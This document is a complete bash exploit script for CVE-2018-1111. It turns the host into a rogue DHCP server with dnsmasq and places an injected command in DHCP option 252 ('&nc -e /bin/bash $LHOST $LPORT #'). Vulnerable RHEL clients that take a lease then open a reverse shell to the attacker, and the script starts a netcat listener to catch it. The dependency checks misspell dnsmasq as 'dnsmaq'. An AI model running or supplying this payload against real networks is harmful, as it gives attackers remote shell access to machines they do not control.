Bash script for CVE-2018-1111

rhel_dhcp_exploit.sh

#!/bin/bash

# CVE-2018-1111
# This script will setup your host as a DHCP provider and attempt to exploit any 
# vulnerable connecting RHEL hosts.

# REQUIREMENTS:
# dnsmasq


# Copyright (c) 2018 Zach Jetson
# 
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish,
# distribute, sublicense, and/or sell copies of the Software, and to
# permit persons to whom the Software is furnished to do so, subject to
# the following conditions:
# 
# The above copyright notice and this permission notice shall be
# included in all copies or substantial portions of the Software.
# 
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

VERSION=0.2

usage(){
  echo
  echo "Usage:"
  echo "./rhel_dhcp_exploit.sh LHOST LPORT DHCP_MIN DHCP_MAX"
  echo
  echo "LHOST     IP address for reverse TCP connection"
  echo "LPORT     Port for reverse connection"
  echo "DHCP_MIN  Min IP for DHCP pool"
  echo "DHCP_MAX  Max IP for DHCP pool"
  echo
  echo "v$VERSION"
  exit 1
}

if [ $(id -u) -ne 0 ]; then
    echo "This must be run as root"
    exit
fi
if [ "$#" -lt 4 ]; then
  echo "[!] Missing required arguments"
  usage
fi

if [ "$1" = "-h" ]; then
  usage
fi

test -z $(which dnsmaq) && (echo "This tool requires dnsmaq: sudo apt-get install dnsmasq"; exit 1)
test -z $(which nc) && (echo "This tool requires nc: sudo apt-get install nc"; exit 1 )

LHOST=$1
LPORT=$2
DHCP_MIN=$3
DHCP_MAX=$4

killall dnsmasq
dnsmasq --interface=eth0 --bind-interfaces  --except-interface=lo --dhcp-range=$DHCP_MIN,$DHCP_MAX,1h --conf-file=/dev/null --dhcp-option=3,$LHOST --dhcp-option=6,$LHOST --dhcp-option="252,x'&nc -e /bin/bash $LHOST $LPORT #"
echo "[+] Payload in place"
echo "[+] Setting up listener..."
echo
echo "Ctrl+c to escape"
nc -l -p $LPORT -v